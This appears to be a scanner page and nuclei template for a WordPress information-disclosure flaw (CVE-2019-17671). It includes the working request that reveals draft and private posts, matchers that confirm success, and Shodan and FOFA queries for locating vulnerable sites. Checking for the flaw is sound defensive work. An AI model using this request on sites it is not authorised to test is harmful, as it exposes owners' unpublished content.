WordPress <= 5.2.4 - Unauthenticated View Private/Draft Posts

mediumseverity

5.3CVSS score

36.5%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

WordPress before 5.2.4 contains an information disclosure caused by mishandling of the static query property, letting unauthenticated users view certain content, exploit requires no authentication.

Impact

Unauthenticated users can view restricted content, leading to information disclosure.

Fix

Update to WordPress 5.2.4 or later.

How to confirm it

Send: GET {{BaseURL}}/?static=1&order=asc
Positive when: contains "type-page status-draft" or "type-post status-draft" AND matches /class="[^"]*entry-title[^"]*"[^>]*>[^<]{3,}/ AND status 200

Run it with nuclei: nuclei -id CVE-2019-17671 -u <target>

The full check

id: CVE-2019-17671

info:
  name: WordPress <= 5.2.4 - Unauthenticated View Private/Draft Posts
  author: 0x_Akoko
  severity: medium
  description: |
    WordPress before 5.2.4 contains an information disclosure caused by mishandling of the static query property, letting unauthenticated users view certain content, exploit requires no authentication.
  impact: |
    Unauthenticated users can view restricted content, leading to information disclosure.
  remediation: |
    Update to WordPress 5.2.4 or later.
  reference:
    - https://blog.wpscan.com/wordpress/security/release/2019/10/15/wordpress-523-security-and-maintenance-release.html
    - https://core.trac.wordpress.org/changeset/46474
    - https://nvd.nist.gov/vuln/detail/CVE-2019-17671
    - https://seclists.org/bugtraq/2020/Jan/8
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2019-17671
    cwe-id: CWE-200
    epss-score: 0.36503
    epss-percentile: 0.98504
    cpe: cpe:2.3:a:wordpress:wordpress:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    shodan-query: http.component:"wordpress" http.html:"status-draft"
    fofa-query: body="Wordpress" && body="status-draft"
  tags: cve,cve2019,wp,wordpress,unauth,disclosure,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/?static=1&order=asc"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'type-page status-draft'
          - 'type-post status-draft'
        condition: or

      - type: regex
        part: body
        regex:
          - 'class="[^"]*entry-title[^"]*"[^>]*>[^<]{3,}'
          - 'WordPress ([0-4]\.|5\.[0-2]\.|5\.2\.[0-3])'
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from